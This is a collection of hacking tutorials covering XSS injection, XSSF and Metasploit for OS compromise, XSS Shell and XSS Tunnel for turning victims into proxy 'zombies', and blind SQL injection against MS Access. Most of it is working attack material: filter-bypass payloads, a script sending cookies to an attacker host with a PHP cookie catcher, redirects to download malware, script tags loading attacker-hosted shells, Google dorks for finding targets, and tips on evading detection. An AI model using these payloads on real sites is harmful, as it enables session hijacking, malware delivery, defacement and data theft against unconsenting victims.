BASIC CROSS SITE SCRIPTING a.k.a. "XSS" INJECTIONS 101

I have previously covered a few topics on advanced XSS techniques involving the use of XSS Shell & XSS Tunnel as well as how to use XSS vulnerability to reach Full OS Compromise through use of XSSF+Metasploit. As a result of those write ups I received a lot of questions on how to get the basics of XSS done, so today I will do my best to present to you an introductory guide and overview to Cross Site Scripting, A.K.A. “XSS”. This is based on my experience and not based on any “real” material from a book – just things I have picked up over time and reading various other tutorials that are on the web, so take it with a grain of salt and remember this not a full guide nor are these the only methods available. Here goes...

Cross Site Scripting, or XSS, is vulnerability due to lack of validation and/or sanitization of user input in their JavaScript and/or HTML. Remote attackers are able to exploit the vulnerability by passing malformed queries through the URL or through submission forms and having it executed either on the client or server side, which results in the query being interpreted as JavaScript or HTML code. In the most basic scenario this results in an alert box indicating vulnerability has been found, with attacker defined message inserted within. These attacks are often simple and result in no further than a simple alert box, but it can also be used to steal users cookies for session high-jacking, and if you read my other tutorials you can see how a simple XSS vulnerability can also result in exploited browser session or even full OS compromise.   

XSS Vulnerabilities tend to come in three main flavors:

1.       Non-Persistent or Reflective

2.       Persistent or Stored

3.       DOM Based are generally held in their own category, but can be both persistent and non-persistent in nature (for more on this see the links provided at the end of the article)

I will be focusing on the first two for purposes of today’s write-up. Non-persistent or Reflective XSS vulnerabilities are ones that will be triggered due to client side rendering of the page code. This means that we have to convince potential victims to visit or click on our exploited link/page for the exploit to be triggered, since it will not be saved on the server. This means that even though you trigger the vulnerability, when the page gets refreshed the exploit will no longer be present on the page (it fails to stick if you will). It generally takes social engineering to make these types of vulnerabilities truly dangerous due to the simple nature and fact that it requires user interaction to exploit. Persistent XSS vulnerabilities on the other hand do stick and are actually stored on the server side. This means that anyone who visits the page where you exploited the XSS vulnerability will fall victim, as despite the page being reloaded and refreshed, since it is saved on server, it remains present for anyone who visits the page. Social engineering is not required, although it generally can be used to increase the amount of traffic being seen on any given page, or to get the right target audience. You will generally find Non-persistent XSS vulnerabilities in things like search bars, URL parameters, etc, whereas you will generally find Persistent XSS vulnerabilities in things like Guestbook, Comment/Reviews, and things like that. The differentiation there is in how the request and information is being handled. If the differentiation is not clear, hang with me and watch the videos at the end. OK, there are the basic differences….now let me show you some examples…

When checking for XSS vulnerabilities and injection strings you will be playing around with the HTML tags and JS objects and events to get the desired effect. There are many tags available and as such there are just as many methods for exploiting XSS vulnerabilities. We will begin with the very basics and then work our way through to more in depth methods. At the most basic level we can test for XSS vulnerability by injecting a script tag to generate an alert box or prompt with a brief message.

Try inserting this into search box, text field, or URL:

<script>alert(‘XSS’)</script>

You can also interchange prompt for alert in most cases, and you may find it is less filtered than alert. It would look like so:

<script>prompt(‘XSS’)</script>

If we see the message box it indicates we have found vulnerability and successfully exploited it. If we don’t see it right away it is OK, we can try a few quick things. In most cases the vulnerability exists due to the code not being properly handled or sanitized, so we can try to trick the code by inserting a single quote, bracket, or double quote to act as a closing bracket for the actual form/field we are injecting on so that our evil code is treated as normal code and executed. This essentially ends the input encapsulation and HTML tag before our injection string, which allows it to be triggered. In order to do this we might need to change the above to include some form of the following to get this affect (remember these are just a few examples, you can play around with things to see how different characters are handled):

</SCRIPT>">”

</SCRIPT>”>’

</SCRIPT>’>’

“/>

'/>

“>

‘>

>

\\>

\>

“;

‘;

;

We can view the page source of the Web page to see if we can find our injected string in the HTML code. The string may be present in several places you may find it completely intact, yet hidden from the casual observer. So if we use this method and instead inject this:

“><script>alert(‘XSS’)</script>

We successfully get our code to execute and get the following as a result:

If it were persistent anyone who visited this page from here out would be greeted with this message. If not we would need to trick people to visiting this specific URL link so it executes on the client side. If the site still doesn’t seem to be taking your injections you can try using a few different tricks before giving up. You need to use some common sense and try to pick up anything you can to determine what and/or how the site is filtering input as it can be used against it to bypass the filters that may be in place. If you notice the site is striping your quotes out so that our full string is not executed properly you can try methods to get around the quotes or to avoid using them altogether. We can first try to use “String.fromCharCode()”, which will allow us to bypass some basic filters and allow our alert message to be executed. We can turn our original injection above into this:

“><script>alert(String.fromCharCode(88, 83, 83))</script>

NOTE: Char(88, 83, 83) = XSS. You can replace with your own char value to send your message of choice, but the end result is the char code is interpreted and decoded resulting in alert(XSS) thus triggering our popup message box.

If this method still doesn’t work you can start trying alternative tag methods or try completely encoding your injections. You can encode the strings using URL encoding, UTF encoding, you name it. You never know what types of effects will happen or how it will be decoded so sometimes it is good to play with this aspect.

Here are a few examples of key go-to encoding schemes you can use to help bypass filters:

·         <script> = char(60,115,99,114,105,112,116,62)

o   HEX = 3c7363726970743e

·         </script> = char(60,47,115,99,114,105,112,116,62)

o   HEX = 3c2f7363726970743e

·         “> = char(63,62)

o   HEX = 201c3e

·         alert = char(97,108,101,114,116)

o   HEX = 616c657274

·         ( = char(40)

o   HEX = 28

·         ) =  char(41)

o   HEX = 29

·         ; = char(59)

o   HEX = 3b

·         < = %3c

o   = %3e

·         / = %2f

·         \ = %5c

·         >< = %3e%3c

·         " = \\

·         ' = \

·         =><>, ="><, ='><

o   =%3e%3c%3e,="%3e%3c,='%3e%3c

·         so the original: <script>alert(‘XSS’);</script>

·         becomes: %3Cscript%3prompt(String.fromCharCode(88, 83, 83));%3C%2Fscript%3

In regards to trying alternative tag methods you can get creative and use something like one of the following:

·         onmouseover=alert(‘XSS’)

·         <IMG SRC=javascript:alert('XSS')>

·         <img src="x:x" onerror="alert('XSS')">

·         <BODY ONLOAD=alert('XSS')>

·         <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

·         <IMG SRC=javascript:prompt(String.fromCharCode(88, 83, 83))>

o   NOTICE: no quotes and no alert statement to get caught in the filters. Get creative with it and you will find you can bypass most things that come your way ;)

In addition to trying the above alternative tags or methods for injecting code you may also need to occasionally test out the filter system with some simple capitalization variances. You will find in some cases the filters are only setup to catch exact matches, so if you send two injections:

1.       <script>alert(‘XSS’)</script>

2.       <ScRIpT>aLErT(‘XSS’)</SCriPt>

If the filters are only set to catch exact matches it will stop the first injection, yet let the second injection pass right on through due to the fact that the simple variance causes it to not align with its given rule set.

Alright so we found some XSS vulnerabilities, either Persistent or Non-Persistent, what next? An attacker could now check the vulnerability to see if it can be used to steal cookies, which can lead to session high-jacking. An attacker could modify any of the above to trigger a message box revealing the user’s session cookie. This can be seen by inserting this injection string:

<script>alert(document.cookie)</script>

If successful it will result in something similar to this:

An attacker could then setup a simple PHP script on a remote machine they have control over and use this to receive the victim’s cookies.  If it were a persistent XSS vulnerability this could be done entirely without the victim’s knowledge whereas the non-persistent approach requires using Social Engineering to manipulate a user into visiting our specially crafted link (site.com/search.php?q=XSS).  If you must follow this method you will find that URL shortening services can really help to mask the URL so it does not look as scary of giveaway your cookie host (i.e. tinyurl.com/abc123). In order to capture the users cookie and actually send it to your remote machine where you have cookie catcher script setup you would need to inject something along the lines of this:

<script>document.location="http://RemoteAttackerSite.com/cookiegrabber.php?cookie=" + document.cookie</script>

This script if executed will grab the current user’s session cookie and send it to the hosted script on the remote attacker’s site. The script would be setup to either save the received information into a text file or possible even into a full database. Here is basic example of what it might look like (there are much more detailed scripts widely available with quick Google search but I needed to save space)…

Super Simple Cookie Catcher PHP Script:

                                <?php

                                $handle=fopen("victimcookies.txt","a");

                                fputs($handle,"\n".$_GET["cookie"]."\n");

                                fclose($handle);

                                ?>

From here an attacker can sort through the victimcookies.txt file on their hosted server and review the cookies they have captured. In order to steal a victim user’s session they merely need to use their favorite cookie editor and swap with one from the file and then refresh their browser to the target site URL. Upon browser refresh they will be logged in as victim user with victim user rights. If it were an Admin, this could allow a remote attacker to bypass IP restrictions on admin login pages and other sensitive directories allowing the attacker to further access and exploit the site.

NOTE: cookies tend to expire and the time allowed varies from site to site so you might not have a long time to explore before a session ends, but once controlled an attacker can setup a system to keep the cookies refreshed allowing them extended use of victim’s access rights.

If you don’t have the munchies or just don’t care for cookies, don’t worry you can do other stuff too! Instead of injecting code to send the cookie to our remote site we could actually send the user to our remote site to run some evil code against them. This could come in the form of a java drive-by, hosted browser exploit attack (see link at bottom to XSSF), whatever you can think of.

Just to show you a few more examples:

·         <script>for(;;)alert("bucle");</script>

o   This causes in infinite loop to occur causing a Denial of Service on the victim’s browser, which will force them to have to close their browser. Fun for laughs occasionally J

·         <body onLoad="document.location.href='http://www.google.com'">

·         <script>window.location="http://google.com";</script>

o   Either of the above will cause the page to load and redirect to our defined remote URL, just change Google to your site of choice

·         <iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="http://www.google.com")></iframe>

o   This injects a hidden iframe into the current page. This can be used for anything you might be capable of using an iframe for, just edit Google to your site of choice

·         <script>document.location="http://www.fileave.com/downloads/evil.exe";</script>

o   You can use example like this to cause visitors to download your evil binary file to be executed for RAT or Meterpreter shell

·         <html><body><IMG SRC="http://site.com/yourDefaceIMAGE.png"></body></html>

·         <IMG SRC="http://site.com/yourDefaceIMAGE.png">

·         <EMBED SRC="http://site.com/xss.swf">

·         <script>window.location="http://www.pastehtml.com/YOURDEFACEHERE/";</script>

o   The above can be used in various ways to result in what is known as defacement, where the attackers picture/page replaces the original. This is more typically done with a persistent XSS vulnerability to get a noticeable impact and affect

I hope this has made some sense and helps others to understand the basics of Cross Site Scripting or XSS. I encourage others to read up on other methods and tools that can be used to extend their exploitability. I have also made a short video for those that need more of a visual experience to see the results. The video is just a simple example based on OWASP’s WebGoat project which I highly encourage you to become familiar with if you want to safely test some of these methods out.

WebGoat Video outlining Persistent or Stored XSS vs. Non-Persistent or Reflective XSS: 

As always I hope this was educational and helps a few folks out. Until next time, Enjoy!

Laters,

H.R.

Still curious and want to learn more, check these out:

TUT: XSS Shell & XSS Tunnel: Building Zombie Army out of XSS

TUT: XSSF + Metasploit: Full OS Compromise from XSS

DOM Based XSS – Online scanner and helpful info:  http://www.domxssscanner.com/

RSNAKE’s has put together some of the best for guides and online tools to help you get started: http://ha.ckers.org/xss.html & forums: http://sla.ckers.org/forum/index.php

Learn more about HTML: http://www.w3schools.com/html/

Learn more about JavaScript: http://www.w3schools.com/js/

Common Google Dorks for XSS:

·         inurl:search.php?q=

·         inurl:search.html

·         inurl:search.aspx

·         inurl:find.html

·         inurl:find.php

·         inurl:find.aspx

·         “Search”, "Guestbook", “Comment”, “review”, “user feedback”, etc

XSS to FULL OS Comprimise using XSSF+Metasploit

OK, so today I will show you how we can leverage a common XSS vulnerability and take it up a notch, yes that is right, a notch higher than we did previously with XSS Shell & XSS Tunnel. This time we will be using our common XSS to result in full OS compromise. Now I have seen a lot of tutorials involving Metasploit but most of them involve attacking XP with no Security updates which just doesn’t seem fair (or impressive). My kid brother could take care of that....so I decided to show you it is possible with little effort to compromise an up to date system running Windows 7 OS with Internet Explorer 8 for browser. This way you know I am being serious when I say this is a valid exploit and a noteworthy reason to double check your user input validation scheme(s). Please follow along, and I hope you enjoy the ride...

OK so you have found XSS vulnerability and you saved it and found it is persistent XSS injection that will affect all users who view the injected page. Even if it is not persistent you can use Social Engineering to get the same effect (i.e. high traffic to exploited page/link), be creative…I am sure you can convince someone to click a link somehow :p We will then use this to work with XSSF and Metasploit to take it up a notch. Where we previously used our injection to point our victims to an alert box, or as shown in previous write-up we could point to the XSS Shell we were hosting, but instead this time we will now be injecting the path to out XSSF + Metasploit setup. XSSF works in the same manner as XSS Shell BUT the primary difference is it is coded in ruby and you can incorporate it directly into the Metasploit framework which allows us to extend our exploits to all of the wonderful Browser Exploits that are already built into MSF (let’s be honest XSS Shell is nice but limited in scope). Now we can take a common XSS alert box and turn it into a Reverse Meterpreter Shell resulting in full OS compromise. I bet you didn't see that coming!

In order to get XSSF incorporated into MSF you need to follow a few quick steps:

• Download XSSF from here: http://code.google.com/p/xssf/downloads/list
• You also need to have an up to date working version of Metasploit already installed (I will not cover this and make assumption you can figure it out on your own). If you do not already have it installed you can download the latest release from here (free version is just fine): http://metasploit.com/download/
• The latest version will help us to avoid any DB issues or any issues with your ruby installs being outdated ;)

OK, now fire up Metasploit however you like, from the console or via Armitage. I will be using Armitage for the purposes of today's article since it helps keep things easy. Once you’re connected to your DB of choice and MSF is up and running we will want to do two things:

1.  First - unzip the XSSF download into the MSF folder on your machine.
2.  Secondly - run your choice method of opening MSF
3.  - Armitage or ./msfconsole
4.  Third - type this at MSF console: load xssf

You should now be greeted with the message banner for XSSF indicating that all went well. I had zero problems making it this far so if you have problems check your paths to make sure you unzipped everything properly and to the right locations. Once we have XSSF incorporated into Metasploit it is time to start tweaking our XSS Vulnerabilities and Injections to now point towards this setup. The default will run on localhost:8888 (use xssf_urls command to see full list generated at startup), and then you will need to inject some form of this XSS attack vector in order to get your victims to be sent to our XSSF Metasploit link:

                “><script src=”http://yoursite.com:8888/loop?interval=3"></script>

NOTE: You can change the value following interval= to suite your needs as it will affect the browser refresh rate. I suggest playing with it and find what works for you, probably best between 2 & 5 (5 is default and works fine in my opinion).

Once this is injected instead of sending an alert box to our victims who view the page they will go on as if nothing happened while secretly they become our Zombies. Once we have zombies we can feed them to an XSS Tunnel session which works as outlined in my previous tutorial on XSS Shell and XSS Tunnel but now you can use the XSS Tunnel address that XSSF has created instead of fumbling with setting up XSS Shell and connecting with XSS Tunnel, just point your tools at localhost:8889 and let them rip. That is fun and can be convenient for leveraging other modules like the CSRF one......BUT you can also now leverage Metasploit to perform further Browser attacks against our Zombies and spawn Meterpreter shells all over the place!

Please watch this video for the full details:

NO SOUND version:  http://www.youtube.com/watch?v=jwirABFe1Ok

I am pretty sure you can get all the commands from the video as I filmed everything as I walked through it so should cover everything you would need to get situated for the first time and on your way. If you have questions please let me know and I will do what I can to help you figure things out. As always, I hope you have enjoyed!

Until next time...

H.R.

XSS SHELL & XSS TUNNEL – TAKING COMMON XSS VULNERABILITIES TO THE NEXT LEVEL

Today I will show you two neat tools which can be used to leverage common XSS vulnerabilities and allow you to take them to the next level. There are a lot of admins and general techies who don't think XSS vulnerabilities are anything to be concerned about. What can a simple alert box do? Hopefully after today you will look at your code a little harder and have a little more respect for all those pesky XSS finds. This is based on my recent experience in setting these up and seeing the results in real time which lead me to feel the need to share this. Here goes...

Things you need:

XSS Shell & XSS Tunnel, both available here in single download:   http://labs.portcullis.co.uk/application/xssshell/

Path Disclosure Script, available here: http://www.megaupload.com/?d=MGMF89LG
           Download and cahnge name from path.txt to path.asp

Patience

Brain.dll file

Create an account at any of your favorite ASP hosting sites, usually a free one will do. Now create and upload a index file to have something for quick checks to see if anything is there (and to throw off suspicion) so your site seems legit. Now we will upload the Path Disclosure Script you downloaded above (path.asp) and then navigate in our browser to it in order to find out what our default install path is so we can setup our db.asp file for connections to our MS-ACCESS database file.

Write down what you see on the screen, remove file, and then go and edit the db.asp for XSS Shell for the following line of code, change path to what you found above:

'// DATABASE CONFIGURATION

Const DBPATH = "X:\path\to\site\install”

Once this is done we also edit the xssshell.asp file to change the default password from “w00t” to something more secure (if you have troubles finding it in code just use CNTRL+F to find “w00t”), save it and rename the file to something less noticeable by staff reviewers, like kittens.asp. Once that is done, create a zip file for all of the content in our XSS Shell folder and name it SSX.zip. Then use your control panel features to unzip the content to speed up XSS Shell site build-out (otherwise it takes forever to upload one by one). 

Remove the .zip file and the path finder script to clean things up, so it should look something like this once done:

NOTE: on my host in this test run the “DB” folder was changed to “Db” and the “admin” folder was changed to “Admin”, so you may need to alter your scripts after uploading, just play with it a bit until it works for you. Also note you might need to alter scripts to align as well since your URL path may be case sensitive to match what control panel reflects, like in my case.

Now that you have everything uploaded it is time to navigate to the admin panel, you should be able to find it easily at:

http://www.yoursite.com/xssfolderifany/Admin/

 

You will login with whatever password you set originally in the xssshell.asp file. Once you login you are greeted with the XSS Shell admin panel.

OK, so things work now to get some victims… If you want to test it out real quick you can upload the Sample_Victim folder that comes with XSS Shell download. Just edit the code in the middle of page (comments point it out) and change to point to your new XSS Shell setup. Once completed, open up another browser and navigate to the /Sample_Victim/Default.asp page to activate. Alternatively you can get straight to work by injecting a form of this script into XSS vulnerable site and then getting victims to visit:

"><script src="http://yoursite.com/xssshellifany/xssshell.asp"></script>

When you get victims they will appear in the XSS Shell Admin Panel, like so:

 

From here you can grab victim cookies, send alert boxes to all victims as once, use victim browsers for DDoS, etc. If you are good with JavaScript you can do whatever your skills are limited to as you can add in your own custom commands and payloads rather easily under the eval(js) module section. If you want to know more about XSS Shell then please refer to the developers site as I will now be jumping onward into how we can utilize the XSS Shell with XSS tunnel to create a Zombie bot for further attacking, exploiting, whatever….

XSS Shell homepage can be found here, and download includes both XSS Shell and XSS Tunnel:  http://labs.portcullis.co.uk/application/xssshell/

OK, now that we have XSS Shell successfully setup we can extend its usefulness even further through the help of another tool called XSS Tunnel. This is a binary program made strictly for Windows. You simply need to download and open and configure to use our XSS Shell to then route all traffic we want using our XSS Shell victims as proxies. This can allow us to bypass IP restrictions should we grab an admin victim, which can then lead to further privilege escalations from the site admin panel. It also means we can turn our victims into Zombies and configure our favorite injection scanners, browsers, etc to use the Zombie victim as a proxy, meaning all logs on any servers we attack while connected will reflect our Zombies information and not ours adding yet another layer of stealth to our future exploitations.

Here is quick run through of the XSS Tunnel configuration. Double click file to run and you’re greeted with this:

We will need to click on the “OPTIONS” tab to enter our details for connecting to XSS Shell. Simply enter in the URL path to your XSS Shell Admin panel, and then enter the password you created for XSS Shell Admin Panel (xssshell.asp file stores the password if you already forgot).

You can hit the “TEST SERVER” button once you entered the correct details to check and confirm it is properly communicating with our XSS Shell. Upon success you will see message like so:

Now once you get victims in your XSS Shell you can use them as proxies for your favorite tools and/or to bypass site restrictions for further exploitation on the site where the original XSS flaw may have been found. In order to does this choose the interface or adapter you want to listen on and then choose the desired port to listen on and use for proxy functions. If you have something running on 8080 already then just changes it to meet your need. Transparency setting is purely for the XSS Tunnel GUI and nothing related to proxy function. Once you have it how you want you can click on the “START XSS TUNNEL” button near the top section, once you then enable the proxy function with your tools you will begin to see the requests flow through the main tab (if you care to watch or review).

This method can take a common non-persistent or persistent XSS vulnerability and turn it into a full site takeover proving that XSS is not something to be simply overlooked. I hope you have enjoyed this write up and enjoy playing with your new Zombie army!

Until next time… 

H.R.

MICROSOFT ACCESS (MSACCESS) and SQL INJECTION

In today’s write-up I will show you to perform SQL injection against a MS ACCESS database. I am not a fan of Access but it is a method that you should be aware of in case you come across this in your security assessments or pentests. I am not a pro but will share my methods based on my experiences, here goes…

SITE: http://site.com/index.asp?id=1

http://site.com/index.asp?id=1'

Confirm it is not a false positive…

http://site.com/index.asp?id=1 and 1=1

http://site.com/index.asp?id=1 and 1>1

http://site.com/index.asp?id=1 and 1=2

    Integer works...now let us start injecting :)

http://site.com/index.asp?id=1 union select 1 from random.randomtable

This will cause the Access database to throw an error which will tell you the default path for install

Now we can start by checking the existence of any other drive paths, like so:

http://site.com/index.asp?id=1 and 0=(select count(*) from N:\.a)

NOTE: you need to enumerate the "N" for the drive letters you wish to check for existence. You need to read the errors carefully to determine drive type and if it is there or not. Here is quick guide on how to interpret:

        If it says not a valid path then it doesn’t exist

If it says can’t find file then the drive exists and is data drive

If it says disk or network error then it is a drive for memory or cd or something. Repeat until you think you found all drives. Possible options would consist of: a-z

As MS-ACCESS has no information schema so you basically have to bruteforce your way to town as if it was MySQL <=4. The common syntax structure looks like this:

http://site.com/index.asp?id=1 and 0<=(select count(*) from [N]) and 1=1

NOTE: You would enumerate the "N" value for any table you wish to check. If it returns true then the table exists, otherwise keep going and on to the next. If you can automate this part then I highly suggest it (try SQLMAP if you need a good tool).

http://site.com/index.asp?id=1 and 0<=(select count(*) from [admin]) and 1=1

            FALSE: can’t find input table or query "admin"

http://site.com/index.asp?id=1 and 0<=(select count(*) from [tbllogin]) and 1=1

TRUE: Page refreshes like normal, indicating table exists in the database (which is actually a file in Access’ case: filedb.mdb)

   TABLE: tbllogin

Once/If you find tables you then can check the existence of columns in the same manner, just change the syntax to look like this:

http://site.com/index.asp?id=1 and 0<=(select count([N]) from [TableName]) and 1=1

NOTE: You would now place the known TableName found above (tbllogin) and then enumerate possible columns in place of the "N" value above. It will work the same as the tables above in that true will refresh the page with no errors and false will error out. Just keep enumerating until you have what you need and then we can try to extract from it. In this example, I have found:

COLUMNS: id, username, and password.

We now have to work a bit backwards, compared to other methods, as now we need to determine the column count for our table and then we can extract(whereas normally we would find the column count first). If we can’t determine then we can extract using blind methods as well.

To determine the column count for a given table you can try this syntax (we use NULL as opposed to numbers to prevent any errors outputting). You just keep inserting them as if you were using ORDER BY to find where the error is thrown indicating no more columns:

http://site.com/index.asp?id=1 union all select null from [TableName]

http://site.com/index.asp?id=1 union all select null,null from [TableName]

http://site.com/index.asp?id=1 union all select null,null,null from [TableName]

If found we can check for a vulnerable column to use by trying to insert some text on the output where the vulnerable column is, just like normal column counting with MySQL injection:

http://site.com/index.asp?id=1 union all select %2bchr(72)%2bchr(82),null,null,null,null,null,null,null,null from [tbllogin]

http://site.com/index.asp?id=1 union all select null,%2bchr(72)%2bchr(82),null,null,null,null,null,null,null from [tbllogin]

http://site.com/index.asp?id=1 union all select null,null,%2bchr(72)%2bchr(82),null,null,null,null,null,null from [tbllogin]

NOTE: %2bchr(72)%2bchr(82) = +H+R. Just keep moving the char value of text column position through the column spaces and checking to see if it is visible on the screen. If it is you can use this column to extract data from.

If that doesn’t work, we use blind method to extract using this syntax with your details filled in to extract (in my experience this is the method used the majority of the time). You will need to run true false test to determine amount of rows, just test the numerical value at the end of the statement and interpret the results:

http://site.com/index.asp?id=1 and Len((select Count(*) from [TableName]))=<insert-numerical-value>

You can run this to find the number of entries in TableName

http://site.com/index.asp?id=1 and asc(mid((Select Count(*) from [TableName]),1,1)=<insert-numerical-value>

You can run this to find the length of the item we will be extracting

http://site.com/index.asp?id=1 and Len((select top 1 [ColumnName] from (select top 1 * from (select top 1 * from [TableName] order by 1) t order by 1 desc)t))=<insert-number-value>

FALSE:

TRUE:

Once you know you don’t have to waste so much time with this part....pull each letter one by one and convert char value to see it in clear plain text...

You need to use "<",">",and "=" for the true false comparison part, then insert char value.

You can run this inputting your ColumnName and TableName in appropriate spots. Insert your char value to test at the end of the statement. You can use the "N" to enumerate each char position of your value you are extracting (remember to take note of the length you find above so you don’t go over and waste time ;))

http://site.com/index.asp?id=1 and asc(mid((select top 1 [ColumnName] from (select top 1 * from (select top 1 * from [TableName] order by 1) t order by 1 desc)t),N,1))=<insert-char-value-here>

NOTE: If for example you had multiple columns, this process would need to be followed for each column in the table and then put together by you to interpret the full row set of data extracted (i.e. do this once to pull the ID number, again to pull the username, and again to pull the password). It can be time consuming to extract so I suggest a good tool to help speed things up if you can find one (I like to use SQLMAP personally or you could work on custom Burpsuite rule set to address all the enumeration steps but that is beyond this scope)

This concludes my write up of how to gain access through MS-ACCESS. I hope you have enjoyed this and find it useful in your endeavors. There are other methods which can be used and leveraged but this is the best general guide I could put together for you. I will work to update it as time permits with a few other tips and tricks to aid you in your injections, but this is it for now. Please check back often to see what else has been released or updated. Until next time, Enjoy!

SPECIAL NOTE: all occurrences of "[" and "]" need to remain in the statements to work properly, this is how Access works. This means you should only change the actual value where it is "TableName", "ColumnName", or "N" and everything else should [remain].

If your interested in any of my other SQL Injection tutorials here are the links:

Basic SQL 101

Load File and Into Outfile

WAF Bypassing

Double Query Injection

Blind and Time Based Injections

XPATH Injection using extractvalue()